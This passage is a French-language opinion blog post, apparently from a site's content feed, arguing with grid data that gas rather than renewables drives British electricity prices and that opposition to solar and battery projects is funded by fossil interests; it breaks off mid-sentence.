stockant jamais l\u0026rsquo;enregistrement. Puis les correctifs qui ont empiré les choses, la mesure qui a déclaré saine une page cassée, les boutons de partage et le flux MSN, et ce que l\u0026rsquo;extension ne fait pas.","title":"Le site d'actualité m'a envoyé l'article, puis l'a supprimé"},{"content":"Du charbon à rien en quatorze ans Le tableau de bord National Grid de Kate Morley vous laisse choisir la fenêtre et regarder bouger les chiffres.1 Le jeu de données commence en 2012, qui se trouve être le pic du charbon, donc la colonne « depuis le début » est tout le nettoyage en un seul chiffre.\nDepuis le début (2012–) Année écoulée Semaine écoulée Jour écoulé Intensité carbone 251 g/kWh 124 g/kWh 98 g/kWh 67 g/kWh Charbon 12,4 % 0,0 % 0,0 % 0,0 % Gaz 33,5 % 27,0 % 21,2 % 15,9 % Éolien 19,5 % 34,8 % 46,0 % 64,1 % Solaire 3,7 % 7,4 % 8,3 % 11,1 % Nucléaire 18,3 % 12,0 % 12,0 % 12,9 % Total fossile 45,8 % 27,0 % 21,2 % 15,9 % Total renouvelable 24,4 % 43,6 % 55,8 % 76,6 % Demande 32,6 GW 30,9 GW 28,4 GW 25,8 GW Prix 70,13 £/MWh 92,77 £/MWh 125,01 £/MWh 27,18 £/MWh L\u0026rsquo;éolien est aujourd\u0026rsquo;hui la première source d\u0026rsquo;électricité de Grande-Bretagne. 34,8 % sur une année pleine, contre 27 % pour le gaz et 12 % pour le nucléaire. Pas sur une bonne journée. Douze mois.\nLe charbon est à zéro. Pas bas. Zéro, pendant un an. La dernière centrale a fermé le 30 septembre 2024, cent quarante-deux ans après l\u0026rsquo;ouverture de la première au monde à Londres en janvier 1882, ce qui veut dire que ce pays a inventé l\u0026rsquo;électricité au charbon puis a mis le plus clair d\u0026rsquo;un siècle et demi à se décider à l\u0026rsquo;éteindre.1 L\u0026rsquo;intensité carbone a été divisée par deux face à la moyenne sur quatorze ans, de 251 à 124. La moitié, en quatorze ans.\nLa demande qui a disparu Regardez de nouveau la ligne de la demande. 32,6 GW sur la longue moyenne, 30,9 sur l\u0026rsquo;année écoulée. Elle baisse depuis vingt ans, d\u0026rsquo;environ 5 TWh par an depuis 2005.\n2005 2023 Demande résidentielle 126 TWh 93 TWh Demande industrielle 117 TWh 86 TWh Ménage moyen 4 662 kWh (2007) 3 449 kWh Les ménages ont lâché 33 TWh sur cette période pendant que le pays branchait un million et demi de voitures électriques et un quart de million de pompes à chaleur.2 Les règles d\u0026rsquo;écoconception de l\u0026rsquo;UE ont fait une bonne part du travail ; la seule réglementation sur l\u0026rsquo;éclairage a économisé 81 TWh à l\u0026rsquo;échelle de l\u0026rsquo;UE en 2020.3 L\u0026rsquo;efficacité n\u0026rsquo;a pas seulement absorbé les voitures électriques, elle les a noyées.\nDeux réserves, parce que celle-ci se fait surestimer. La demande industrielle a baissé aussi, de 117 TWh à 86, et ce sont surtout des usines qui ferment plutôt que des usines qui deviennent malignes. Et la baisse est terminée. 2024 a été la première année depuis près de deux décennies où la demande est remontée.2\nLes voitures qui devaient le casser Voici le parc que le réseau a absorbé, tiré tel quel des tables d\u0026rsquo;immatriculation de la DVLA. Véhicules électriques à batterie immatriculés en Grande-Bretagne à la fin de chaque année.4\nAnnée Voitures Utilitaires Bus Poids lourds Motos Total 2015 20 472 4 786 194 314 917 26 756 2017 41 222 6 401 303 283 1 046 49 334 2019 89 581 10 479 504 269 2 790 103 724 2021 374 597 28 245 1 295 331 9 118 413 908 2023 916 576 64 988 3 188 732 14 142 1 000 092 2024 1 266 421 84 959 4 821 983 14 039 1 371 779 2025 1 708 499 111 837 7 450 1 472 13 460 1 843 395 Les voitures ont été multipliées par quatre-vingt-trois en dix ans, le parc entier par soixante-neuf. Le millionième véhicule électrique est tombé fin 2023 sur 1 000 092, ce qui est à peu près aussi près du nez qu\u0026rsquo;une statistique peut l\u0026rsquo;être. Personne n\u0026rsquo;avait prévu ça.\nTrois choses dans ce tableau qu\u0026rsquo;on ne voit pas dans un titre.\nLes camions ont à peine commencé. 1 472 poids lourds électriques dans toute la Grande-Bretagne, et le chiffre a même baissé entre 2015 et 2020, jusqu\u0026rsquo;à 253. Les voitures ont toujours été la partie facile. Ceci est la partie dure et elle n\u0026rsquo;a pas vraiment commencé.\nLes motos électriques reculent. 14 142 en 2023, puis 14 039, aujourd\u0026rsquo;hui 13 460. Deux ans de baisse, la seule catégorie qui rétrécit pendant que tout le reste se cumule.\nLes pourcentages ralentissent, la tôle non. La croissance des voitures était de 114 % en 2020 et de 35 % en 2025. Mais 2025 a mis 442 000 voitures sur la route contre 350 000 en 2024. Un pourcentage qui baisse sur un grand nombre bat encore un gros pourcentage sur un petit.\nPour la suite, les Future Energy Scenarios 2025 de NESO placent la Grande-Bretagne à 31 millions de véhicules électriques en 2050 sous Holistic Transition, 33,4 millions sous Electric Engagement et 36,1 millions sous Hydrogen Evolution.5 Les 1,84 million d\u0026rsquo;aujourd\u0026rsquo;hui représentent environ six pour cent du chemin.\nUn détail de ces scénarios mérite d\u0026rsquo;être noté : la flexibilité disponible grâce à la recharge pilotée a baissé cette année, de 16 GW à 10 GW. Des batteries plus grosses veulent dire des recharges moins nombreuses et plus longues, et moins de choses à déplacer.5\nLa demande qui n\u0026rsquo;est jamais apparue Il y a une deuxième chose qui pousse la demande vers le bas, remarquez, et ce n\u0026rsquo;est pas l\u0026rsquo;efficacité.\nAutoconsommation Solaire, sans batterie 30–40 % Solaire plus batterie 80–90 %6 Deux millions d\u0026rsquo;installations solaires au Royaume-Uni aujourd\u0026rsquo;hui, 22,3 GW à elles toutes, et plus de 30 % des nouveaux systèmes partent avec une batterie contre 10 % il y a cinq ans.6 Mettez du stockage derrière les panneaux et l\u0026rsquo;essentiel de ce que le toit fabrique ne passe jamais le compteur.\nCette énergie n\u0026rsquo;est pas économisée. Elle a simplement cessé d\u0026rsquo;être comptée. Le compteur est la seule chose qui a changé.\nAnnée Puissance solaire ajoutée 2021 ~0,4 GW 2022 ~0,5 GW 2023 1,9 GW 2024 2,3 GW 2025 2,6 GW Multiplié par six en cinq ans, et la forme de la courbe vous dit pourquoi. 2021 et 2022 étaient plats. Puis les factures sont arrivées, les gens ont fait le calcul, et le solaire a cessé d\u0026rsquo;être un choix écologique pour devenir un choix financier.\nNotre maison est quelque part dans ce tableau. Neuf kilowatts sur le toit, trente kilowattheures de batterie dessous, deux voitures et la climatisation qui boivent la production de la journée. Du point de vue de National Grid, cette adresse rétrécit tranquillement depuis des années. Du point de vue de la physique, non. L\u0026rsquo;énergie a juste cessé d\u0026rsquo;apparaître sur le graphique de qui que ce soit.\nLa guerre contre ce qui a marché Rien de tout ça n\u0026rsquo;est arrivé par accident, et il existe un effort en cours pour arrêter le reste.\nReform a pris dix conseils municipaux anglais en mai 2025 et a annoncé qu\u0026rsquo;il utiliserait « every lever » pour bloquer les nouveaux projets éoliens, solaires et de batteries. Carbon Brief chiffre ce qui est en jeu à environ 6 GW : 5 076 MW de projets de batteries, 786 MW de solaire et 56 MW d\u0026rsquo;éolien situés dans ces dix territoires.7 Le porte-parole énergie du parti a écrit à des développeurs du Lincolnshire pour leur dire « this is war », et a adressé une notification formelle aux directeurs généraux de SSE Renewables, Octopus Energy, Centrica et Equinor indiquant qu\u0026rsquo;un gouvernement Reform déchirerait leurs contrats.7\nVérifier l\u0026rsquo;argument des terres agricoles La raison avancée, ce sont les terres agricoles et la sécurité alimentaire. Cet argument est vérifiable, alors vérifions-le.\nUsage du sol Surface Part du Royaume-Uni Solaire au sol, septembre 2024 21 200 ha ~0,1 %8 Le même, mesuré par satellite 15 580–17 364 ha 0,06–0,07 %9 Terrains de golf 125 000 ha ~0,5 %10 70 GW de solaire d\u0026rsquo;ici 2035 s.o. moins de 1 % des terres agricoles10 Le solaire couvre environ un dixième de un pour cent de ce pays. Le golf en couvre grosso modo cinq fois plus, et pendant toutes ces années où l\u0026rsquo;on s\u0026rsquo;est inquiété à voix haute de la sécurité alimentaire britannique, personne n\u0026rsquo;a jamais écrit à un club de golf pour lui déclarer la guerre. Pas une lettre.\nIl y a un vrai argument enfoui sous le bruit, et il mérite d\u0026rsquo;être dit clairement. Le CPRE a trouvé que 59 % des plus grandes fermes solaires d\u0026rsquo;Angleterre sont sur des terres agricoles productives, et que 31 % de cette surface est classée meilleure et la plus polyvalente.11 La qualité de la terre est un point juste. La quantité ne l\u0026rsquo;est pas, et c\u0026rsquo;est l\u0026rsquo;argument de quantité qui est avancé.\nEt regardez encore ce qu\u0026rsquo;il y a vraiment dans ces 6 GW. Le solaire en fait 786 MW. Les batteries en font 5 076 MW, plus de quatre cinquièmes de la puissance disputée.7 L\u0026rsquo;argument des terres agricoles vise le plus petit nombre. La vraie cible, c\u0026rsquo;est le stockage, et le stockage ne fait pousser rien du tout.\nVérifier l\u0026rsquo;argument de l\u0026rsquo;incendie Les projets de batteries se font refuser au motif du risque d\u0026rsquo;incendie. Pas seulement là où Reform gouverne, soyons justes. Là il s\u0026rsquo;agit d\u0026rsquo;une opposition locale large plutôt que de la campagne d\u0026rsquo;un seul parti, et elle fonctionne. Plus de 900 objections à un projet près d\u0026rsquo;Allerton Bywater à Leeds. Un site de ceinture verte près d\u0026rsquo;Eaglesham rejeté pour crainte d\u0026rsquo;un incendie au lithium après 250 objections. Un projet de 49,9 MW dans le Devon refusé contre l\u0026rsquo;avis du propre instructeur du dossier.12\nAlors mettez les incendies à côté des objections.\nNombre Incendies de batteries de réseau au Royaume-Uni, depuis toujours 3 connus13 Corée du Sud, série 2017–2019 2814 Base mondiale d\u0026rsquo;incidents de l\u0026rsquo;EPRI, depuis 2011 ~95 entrées14 Objections à un seul projet à Leeds 900+12 Une seule demande d\u0026rsquo;autorisation à Leeds a attiré plus d\u0026rsquo;objections qu\u0026rsquo;il n\u0026rsquo;y a eu d\u0026rsquo;incendies de batteries de réseau recensés où que ce soit sur terre depuis 2011. Trois dans ce pays, en tout. L\u0026rsquo;un d\u0026rsquo;eux était un site encore en construction.13\nEt 27 des 30 incidents mondiaux de 2018 et 2019 étaient en Corée du Sud. Une seule série nationale, assez grave pour arrêter leur marché du stockage, et la raison même de l\u0026rsquo;existence de la base.14 Retirez-les et le bilan mondial est encore plus mince.\nPendant ce temps le taux s\u0026rsquo;est effondré. Le nombre de défaillances par an est resté à peu près stable pendant que le déploiement passait de 11 GWh en 2018 à plus de 300 GWh en 2024. C\u0026rsquo;est une chute de 99 % du taux de défaillance par unité installée, parce que les normes ont rattrapé leur retard.14 En 2024, 0,3 % des projets ont connu une défaillance ayant conduit à un incendie posant des questions de sécurité.14 J\u0026rsquo;ai passé ça en revue, et l\u0026rsquo;incendie de Moss Landing que tout le monde cite, dans l\u0026rsquo;article sur l\u0026rsquo;énergie rejetée.\nEnsuite il y a le pourquoi elles défaillent, et c\u0026rsquo;est le morceau qui devrait clore le débat.\nCause première Part des défaillances Intégration, assemblage et construction 36 %15 Exploitation 29 % Conception 21 % Défaut de fabrication 4 % 89 % des incidents ne commencent pas du tout par la batterie.15 Trois seulement dans toute la base remontent à un défaut de cellule ou de module. Ce qui part de travers, c\u0026rsquo;est le reste du système : le câblage continu et alternatif, la ventilation, l\u0026rsquo;installation d\u0026rsquo;extinction elle-même. Et 72 % des défaillances se produisent pendant la construction, la mise en service, ou dans les deux premières années.15\nCe n\u0026rsquo;est donc pas la chimie. C\u0026rsquo;est la pose. Assemblage médiocre, coins coupés à l\u0026rsquo;installation, mise en service faite avec la supervision pas encore active, si bien qu\u0026rsquo;une fuite ou un défaut d\u0026rsquo;isolement a le temps de dégénérer en quelque chose qui demande un camion de pompiers avant qu\u0026rsquo;une seule alarme n\u0026rsquo;ait sonné là où un être humain peut l\u0026rsquo;entendre. Du mauvais travail, autrement dit.\nÇa compte parce que ça change la réponse. Si le lithium était par nature enclin à partir en fumée, vous auriez raison de le tenir loin du village. Il ne l\u0026rsquo;est pas. C\u0026rsquo;est un problème de qualité de pose et d\u0026rsquo;inspection, exactement le genre de chose qu\u0026rsquo;on sait déjà régler. Comme n\u0026rsquo;importe quelle autre installation électrique : des normes en règle, une réception en règle, quelqu\u0026rsquo;un de compétent qui contrôle le travail.\nCe qui ramène aux règles d\u0026rsquo;urbanisme, où il y a un vrai trou qui vaut la peine d\u0026rsquo;être bouché. Les conseils municipaux n\u0026rsquo;ont aucune obligation légale de consulter les pompiers sur un dossier de BESS, donc certains exigent un plan complet de gestion incendie et d\u0026rsquo;autres considèrent que la sécurité ne relève pas du tout de l\u0026rsquo;urbanisme.12\nL\u0026rsquo;objection, c\u0026rsquo;est « ces trucs prennent feu ». Les données disent que les trucs mal posés prennent feu. L\u0026rsquo;un des deux est un argument pour refuser le permis. L\u0026rsquo;autre est un argument pour inspecter le chantier. Bouchez le trou et vous retirez l\u0026rsquo;argument. Laissez-le ouvert et il continue d\u0026rsquo;en servir.\nIl faut dire que rien de tout ça n\u0026rsquo;a très bien marché jusqu\u0026rsquo;ici. Un an plus tard, ces conseils ont découvert que bloquer du grand solaire se dit plus facilement dans un communiqué que dans une commission d\u0026rsquo;urbanisme, et plusieurs projets sont passés quand même.7\nSuivez l\u0026rsquo;argent Quant à l\u0026rsquo;origine du script, le financement est une affaire de dossier public.\nOrganisation Argent reçu De Heartland Institute 676 000 $+ (1998–2007) ExxonMobil16 Heartland Institute d\u0026rsquo;autres sommes non divulguées fondations liées aux Koch16 GWPF / Net Zero Watch 500 000 $+ un fonds lié aux Koch17 GWPF / Net Zero Watch 210 525 $ Sarah Scaife Foundation, via sa branche américaine17 Heartland est une officine américaine de déni climatique qui a ouvert une antenne britannique, avec Nigel Farage en invité d\u0026rsquo;honneur au lancement.16 La Global Warming Policy Foundation fait campagne ici sous le nom de Net Zero Watch, une association enregistrée qui fait passer ses campagnes par une société privée.17\nDe l\u0026rsquo;argent fossile américain, des éléments de langage américains, un parti britannique qui les répète à propos d\u0026rsquo;une technologie où ce pays est manifestement bon. Je vous laisse relier les points.\nLes éléments de langage arrivent avec un président attaché.\nL\u0026rsquo;affirmation Ce que disent les preuves Le bruit des éoliennes provoque le cancer Totalement infondé. Aucune preuve que le son nuise à la santé de quelque façon.18 L\u0026rsquo;éolien en mer tue les baleines La NOAA et le National Marine Fisheries Service ne trouvent aucune preuve scientifique. Les échouages viennent des collisions avec les navires, des engins de pêche et du réchauffement de l\u0026rsquo;eau.18 Les fabriquer produit des « tremendous fumes » Une éolienne rembourse l\u0026rsquo;énergie de sa construction en 5 à 8 mois. L\u0026rsquo;éolien émet 37 fois moins de CO₂ que le gaz et 77 fois moins que le charbon.19 La dernière mérite qu\u0026rsquo;on s\u0026rsquo;y arrête, parce qu\u0026rsquo;elle s\u0026rsquo;inverse proprement. L\u0026rsquo;éolien a la plus petite empreinte carbone de toutes les technologies de production que mesure le département américain de l\u0026rsquo;Énergie.19 Les médianes du GIEC placent l\u0026rsquo;éolien terrestre à 11 g/kWh et le charbon à 820. J\u0026rsquo;ai posé tout ça dans l\u0026rsquo;article sur l\u0026rsquo;énergie rejetée. La chose accusée de fabriquer de la pollution est celle qui en fabrique le moins.\nCelle des oiseaux part au moins de quelque chose de vrai, alors mettez-la face aux autres choses qui tuent des oiseaux.\nCause de mortalité des oiseaux aux États-Unis Par an Éoliennes 140 000–330 00018 Bâtiments ~600 millions18 Chats 2 milliards+18 Les éoliennes représentent quelque chose comme un oiseau sur six mille. Personne n\u0026rsquo;est jamais passé à la télé à propos des chats. Les chats, ça va, apparemment.\nEt la ligne du bien-être animal n\u0026rsquo;est venue de personne qui observe les oiseaux. Elle a été coordonnée par un think tank conservateur financé par un groupement industriel soutenu par ExxonMobil, Chevron et Marathon Oil.18 Le même argent que le tableau ci-dessus, une autre livraison.\nCe qui est le troisième canal. Les think tanks l\u0026rsquo;écrivent, les journaux l\u0026rsquo;impriment, et ça se déplace en volume en ligne. Une étude de l\u0026rsquo;université Brown a trouvé que des comptes automatisés étaient responsables de près de 40 % des tweets qualifiant la science du climat de bidon.20 Je ne prétendrai pas savoir qui les fait tourner, et cette étude porte sur le déni climatique en général plutôt que sur le solaire britannique en particulier. Mais le motif tient par quelque bout qu\u0026rsquo;on le prenne : les affirmations sont fausses, elles sont vieilles, et elles ont été payées.\nParler la même langue Voici le point qui, je crois, passe à la trappe. Demandez-vous pourquoi Heartland a ouvert une antenne à Londres et pas à Lyon ou à Leipzig.\nParce que ça marche ici tel quel. Pas de traduction, pas de localisation, pas d\u0026rsquo;adaptation de l\u0026rsquo;argument à un pays qui mesure en unités métriques et chauffe ses logements par un réseau urbain. Le communiqué arrive en anglais et sort le jour même.\nIl y a une structure cartographiée derrière, pas seulement un vocabulaire commun.\nLe pont Atlas Network, Washington DC soutient 450+ organisations dans 90+ pays21 Financé via Donors Trust et la Charles Koch Foundation21 55 Tufton Street, Westminster GWPF, l\u0026rsquo;IEA, TaxPayers\u0026rsquo; Alliance, Centre for Policy Studies, Adam Smith Institute, Civitas21 Connexions États-Unis–Royaume-Uni cartographiées par DeSmog ~2 00021 Des climatosceptiques sont venus en nombre à la conférence de Reform en septembre 2025.21 Rien de tout ça n\u0026rsquo;a demandé qu\u0026rsquo;un seul mot soit traduit.\nEt le trafic va dans les deux sens. Des chaînes Telegram d\u0026rsquo;extrême droite britanniques ont été documentées en train d\u0026rsquo;amplifier de la désinformation sur l\u0026rsquo;intégrité des élections américaines. Le même tuyau, pointé dans l\u0026rsquo;autre sens.22 Des chercheurs décrivent des publications anglophones qui fixent des récits ensuite repris et répétés par des médias dans d\u0026rsquo;autres langues, ce qui nous met en tête de file plutôt qu\u0026rsquo;en queue.22\nUn lecteur français ou allemand obtient un délai et un traducteur, et la traduction est un filtre. Quelqu\u0026rsquo;un doit décider que l\u0026rsquo;affirmation vaut la peine d\u0026rsquo;être portée, et la vérifier assez pour y mettre son propre nom. Nous, on la reçoit brute, à la vitesse d\u0026rsquo;un retweet, depuis un marché médiatique quarante fois plus grand que le nôtre et que nous consommons déjà pour nous distraire.\nC\u0026rsquo;est ça, la vraie vulnérabilité. Pas que des Américains se disputent sur leur propre réseau. Ils peuvent en faire ce qu\u0026rsquo;ils veulent. C\u0026rsquo;est que nous en entendons chaque mot, dans notre propre langue, à propos de notre réseau, de la part de gens qui ne l\u0026rsquo;ont jamais vu.\nCarbone pas cher, électricité chère Une chose ne s\u0026rsquo;est pas améliorée. L\u0026rsquo;électricité a coûté en moyenne 92,77 £/MWh sur l\u0026rsquo;année écoulée contre 70,13 £ sur tout le jeu de données. Environ un tiers plus cher, pendant que le carbone était divisé par deux.1\nVous aurez lu que ce sont les renouvelables. Vous l\u0026rsquo;aurez lu souvent.\nPresse nationale britannique, 2025 Éditoriaux critiquant les renouvelables 4223 Première année où les éditoriaux hostiles dépassent les favorables depuis 201423 Éditoriaux climat de droite rejetant l\u0026rsquo;action climatique 81 %23 Éditoriaux critiques attaquant d\u0026rsquo;abord sur le coût 86 %23 L\u0026rsquo;argument, c\u0026rsquo;est donc le coût. Pas les oiseaux, pas le paysage, pas l\u0026rsquo;intermittence. Le coût, sept fois sur huit.\nLe tableau de bord tranche celui-là, parce qu\u0026rsquo;il publie le prix et le mix ensemble toutes les demi-heures. Voici le 20 septembre 2026, à partir de l\u0026rsquo;heure du thé.1\nHeure Prix Gaz Part du gaz Carbone Solaire Éolien 16:00 −19,03 £ 2,85 GW 11,3 % 71 g/kWh 6,33 11,30 16:30 38,19 £ 3,74 GW 15,1 % 88 g/kWh 5,19 10,84 17:00 103,70 £ 4,46 GW 18,3 % 109 g/kWh 4,06 10,21 17:30 134,16 £ 6,23 GW 25,6 % 133 g/kWh 2,64 9,68 18:00 175,57 £ 7,96 GW 32,2 % 150 g/kWh 1,53 8,96 19:30 195,65 £ 8,87 GW 39,9 % 162 g/kWh 0,02 6,99 Le soleil s\u0026rsquo;est couché. Le gaz a triplé, de 2,85 GW à 8,87. Et le prix est passé de moins dix-neuf livres à près de deux cents en trois heures et demie. Plus 57 £ sur la demi-heure jusqu\u0026rsquo;à seize heures trente, encore 65 £ à dix-sept heures, encore 41 £ à dix-huit. L\u0026rsquo;intensité carbone a plus que doublé pendant ce temps.\nPrenez la journée entière plutôt que le passage intéressant, et la relation tient sur les quarante-huit périodes de règlement.\n20 septembre 2026, les 48 demi-heures La part du gaz est allée de 7,4 % à 39,9 % Le prix est allé de −19,03 £ à 195,65 £ Amplitude totale 214,68 £/MWh Corrélation, part du gaz contre prix r = 0,933 Demi-heures à prix négatif 18, de 01:00 à 16:00 Zéro virgule quatre-vingt-treize, sur une journée, à contrats gaziers fixes. Et pendant neuf heures la Grande-Bretagne a payé des gens pour lui prendre de l\u0026rsquo;électricité des mains. Le gaz en bas à 7,4 %, le solaire proche de 10 GW, le prix sous zéro.\nPuis le soleil s\u0026rsquo;est couché et ça a coûté 195,65 £. Les mêmes câbles. Les mêmes parcs éoliens. Le même pays.\nLe mécanisme, c\u0026rsquo;est la tarification marginale. Le prix de gros est fixé par le coût de fonctionnement de la centrale la plus chère nécessaire sur la demi-heure, et c\u0026rsquo;est presque toujours le gaz. Pendant la crise, le gaz a fixé le prix 98 % du temps tout en fournissant environ 40 % de l\u0026rsquo;électricité ; en 2021, 97 % du temps sur 37 % de la production.24 La proportion la plus élevée de tous les pays d\u0026rsquo;Europe.\nPart de la production Part de la fixation du prix Gaz 27,0 % sur l\u0026rsquo;année écoulée1 97–98 % des périodes24 Éolien, solaire, nucléaire, hydraulique, biomasse 73,0 % le reste Soyons honnêtes sur un point de ces données, remarquez, parce que quelqu\u0026rsquo;un va le repérer. La moyenne depuis le début est de 70,13 £/MWh sur un mix plus sale qu\u0026rsquo;aujourd\u0026rsquo;hui, moins cher que les 92,77 £ de l\u0026rsquo;année écoulée. Ce n\u0026rsquo;est pas l\u0026rsquo;éolien qui fait monter les prix. Ce sont les années 2012 à 2020 de gaz pas cher. D\u0026rsquo;une époque à l\u0026rsquo;autre c\u0026rsquo;est le prix du gaz qui domine ; à l\u0026rsquo;intérieur d\u0026rsquo;une journée c\u0026rsquo;est la météo. Les deux désignent le même coupable.\nDonc un quart du mix fixe le prix de la totalité. L\u0026rsquo;éolien pourrait être gratuit au point de production, et une bonne part l\u0026rsquo;est de fait, et le chiffre sur votre facture ne bougerait pas, parce que la dernière centrale à gaz de la pile fixe toujours le tarif.\nCe ne sont pas les renouvelables qui rendent l\u0026rsquo;électricité chère. C\u0026rsquo;est un modèle de marché des années 1990 qui rencontre un réseau qui ne ressemble plus aux années 1990.\nLe contrefactuel scelle l\u0026rsquo;affaire. Prenez un pic du prix du gaz, du genre de ceux que nous avons déjà vécus, et modélisez-le contre deux réseaux différents.24\nLe même pic gazier frappe un réseau avec… Les factures des ménages montent de les objectifs renouvelables 2030 atteints 8 % aucun renouvelable soutenu par CfD 45 % Le même pic. Le même gaz. La seule différence, c\u0026rsquo;est la quantité d\u0026rsquo;éolien et de solaire assise là sans se soucier du prix du gaz. Plus de renouvelables, choc plus petit. D\u0026rsquo;un facteur cinq et demi.\nLes parcs éoliens sont donc la raison pour laquelle la dernière crise était survivable, pas la raison pour laquelle elle est arrivée. Trois tests séparés, une seule réponse : à l\u0026rsquo;intérieur d\u0026rsquo;une journée le prix suit le vent en sens inverse, d\u0026rsquo;une époque à l\u0026rsquo;autre il suit le prix du gaz, et dans la modélisation ce sont les renouvelables qui émoussent le pic. Le gaz est la cause. Ce n\u0026rsquo;est pas serré, et ce n\u0026rsquo;est pas vraiment discutable.\nCe qui aurait réglé cette soirée-là Tenez maintenant ça à côté des dix-huit demi-heures plus tôt le même jour où le prix était sous zéro. C\u0026rsquo;est exactement la forme de problème que résout une batterie. Chargez-la pendant que le réseau paie des gens pour lui prendre du courant des mains, renvoyez-le dans la pointe du soir, et la dernière centrale à gaz de la pile n\u0026rsquo;est jamais appelée. L\u0026rsquo;écart du 20 septembre était de 214,68 £ le mégawattheure. Les batteries existent pour manger des écarts comme celui-là.\nCe qui nous ramène à ces 5 076 MW de projets de batteries situés dans dix conseils, et au parti qui a promis tous les leviers contre eux. Bloquer le stockage ne fait pas que repousser un peu de réduction de carbone. Ça protège la marge du gaz, demi-heure par demi-heure, précisément les soirs où le gaz vaut le plus cher.\nEst-ce l\u0026rsquo;intention ? Suivez l\u0026rsquo;argent. C\u0026rsquo;est l\u0026rsquo;effet de toute façon, et le financement derrière l\u0026rsquo;argument, d\u0026rsquo;après le tableau plus haut, appartient à l\u0026rsquo;industrie qui encaisse la différence.\nLes taxes, et qui a vérifié les chiffres Et les taxes, puisqu\u0026rsquo;elles sont citées comme la preuve accablante :\nComposante de la facture, 2025 Montant Part Coûts de politique publique sur l\u0026rsquo;électricité 148,45 £ 17 % de la facture d\u0026rsquo;électricité25 Coûts de politique publique sur le gaz 50,86 £ 6 % de la facture de gaz25 Dix-sept pour cent, et à partir d\u0026rsquo;avril 2026 le gouvernement a sorti 75 % de la Renewables Obligation des factures pour la mettre sur l\u0026rsquo;impôt général, soit environ 92 £ par an sur les 150 £ de baisse moyenne.25 De l\u0026rsquo;argent réel, qui mérite qu\u0026rsquo;on en discute, et très loin d\u0026rsquo;être l\u0026rsquo;essentiel. L\u0026rsquo;essentiel, ce sont les 27 % de production qui fixent le prix des 73 % restants.\nJe ne vais pas vous dire combien de ces 42 éditoriaux étaient des mensonges, parce que prouver l\u0026rsquo;intention n\u0026rsquo;est pas quelque chose que je peux faire depuis un bureau. Ce qui peut être montré, c\u0026rsquo;est le taux d\u0026rsquo;erreur, et il est mauvais. Une plainte contre un seul article du Daily Mail a relevé quinze erreurs factuelles ; le régulateur a exigé une correction.26 Le Mail on Sunday et le Times ont tous deux rapporté que NESO avait trouvé que le coût du net zéro atteindrait 4 500 milliards de livres d\u0026rsquo;ici 2050. NESO n\u0026rsquo;a rien trouvé de tel, et c\u0026rsquo;était la troisième fois que des journaux déformaient ce même organisme.26\nAvant que quelqu\u0026rsquo;un me sorte le faible nombre de plaintes retenues : la commission des plaintes de l\u0026rsquo;IPSO ne compte aucun scientifique professionnel, ne consulte pas d\u0026rsquo;experts sur les sujets techniques, et traite couramment un chiffre faux comme une opinion.26 Une plainte retenue sur quinze erreurs mesure le régulateur, pas l\u0026rsquo;article.\nTirez votre propre conclusion. La mienne est que l\u0026rsquo;argument le plus répété contre les renouvelables dans la presse britannique est celui qui s\u0026rsquo;effondre le plus vite quand on le met à côté du compteur du réseau lui-même.\nEt ce n\u0026rsquo;est pas nous qui fixons le prix du gaz Voici ce qui est réellement arrivé au gaz, sur la référence européenne TTF.27\nPrix du gaz TTF Moyenne d\u0026rsquo;avant 2021 ~20 €/MWh Décembre 2021 180 € Mars 2022 220 € Pic d\u0026rsquo;août 2022 ~340 € Début 2026 35–45 € Mi-septembre 2026 83,40 € Dix-sept fois le tarif normal au pic. Et regardez la dernière ligne. Le gaz est monté à 83 € ce mois-ci sur des inquiétudes d\u0026rsquo;approvisionnement et de stockage, ce qui explique très exactement pourquoi un dimanche soir sans vent sur le réseau britannique s\u0026rsquo;est payé 179,70 £/MWh. La chaîne est courte : le marché gazier européen bouge, le gaz fixe le prix britannique, votre facture suit.\nNotez aussi que le « retour à la normale » n\u0026rsquo;en est pas un. Le plancher actuel de 35–45 € reste le double d\u0026rsquo;avant la crise, et il bondit sur une rumeur.\nAucune de ces décisions ne se prend ici, et notre exposition s\u0026rsquo;accroît.28\nApprovisionnement gazier du Royaume-Uni Part de la mer du Nord dans la demande, 2025 environ la moitié Gaz importé, 2025 464 TWh dont gazoduc norvégien 69 % des importations dont GNL 31 % des importations GNL en part de l\u0026rsquo;approvisionnement total aujourd\u0026rsquo;hui 14 % Part du GNL d\u0026rsquo;ici 2030 plus de 25 % Part du GNL d\u0026rsquo;ici 2035 près de 50 % La production de la mer du Nord baisse de 12–13 % par an et devrait reculer de 78 % d\u0026rsquo;ici 2035 par rapport à 2025.28 Le trou est comblé par des méthaniers venus du Qatar et des États-Unis, achetés sur un marché spot mondial face à des acheteurs asiatiques capables de nous surenchérir n\u0026rsquo;importe quel matin froid qui leur chante.\nL\u0026rsquo;argument selon lequel il faudrait garder le réseau au gaz pour le bien des factures prend donc les choses à l\u0026rsquo;envers. Le gaz est la partie que nous ne contrôlons pas, tarifée par des événements sur lesquels nous n\u0026rsquo;avons pas prise, issue de gisements qui s\u0026rsquo;épuisent. Le vent et le soleil sont la partie qui se produit ici pour rien une fois le matériel debout.\nCe que ça coûte et ce qu\u0026rsquo;on vous facture Il y a une différence entre ce qu\u0026rsquo;une chose coûte et ce qu\u0026rsquo;on vous facture pour elle, et toute cette affaire se loge dans cet écart.\nLe coût de fonctionnement de ce réseau a baissé. Moitié moins de carbone, plus de charbon, un tiers de la production venant désormais d\u0026rsquo;une météo qui arrive gratuitement et n\u0026rsquo;envoie pas de facture. Ça, c\u0026rsquo;est le coût. Le prix est parti dans l\u0026rsquo;autre sens, parce que nous avons gardé une règle des années 1990 qui laisse la centrale la plus chère du système fixer le tarif de tout le reste, puis importé le combustible de cette centrale depuis un marché où un coup de froid en Asie déplace ce qu\u0026rsquo;un retraité de Barnsley paie pour se chauffer.\nPersonne ne cache ça. C\u0026rsquo;est écrit, dans des données de règlement à la demi-heure, gratuitement, sur un site tenu par une seule femme.\nCe à quoi je reviens sans cesse, c\u0026rsquo;est à qui profite la confusion. Parce que les gens qui vous disent que ce sont les parcs éoliens sont, quand on remonte l\u0026rsquo;argent, financés par ce qui l\u0026rsquo;a réellement fait. Ce n\u0026rsquo;est pas une coïncidence et ce n\u0026rsquo;est pas de l\u0026rsquo;incompétence. C\u0026rsquo;est le plus vieux tour du monde : mettre le public en colère contre la partie la moins chère du système pour que personne ne regarde la plus chère.\nEt la partie attaquée est la seule que nous possédons entièrement. Une turbine à gaz a besoin d\u0026rsquo;un méthanier venu du Qatar et d\u0026rsquo;un prix fixé à Rotterdam. Un parc éolien au large du Humber a besoin 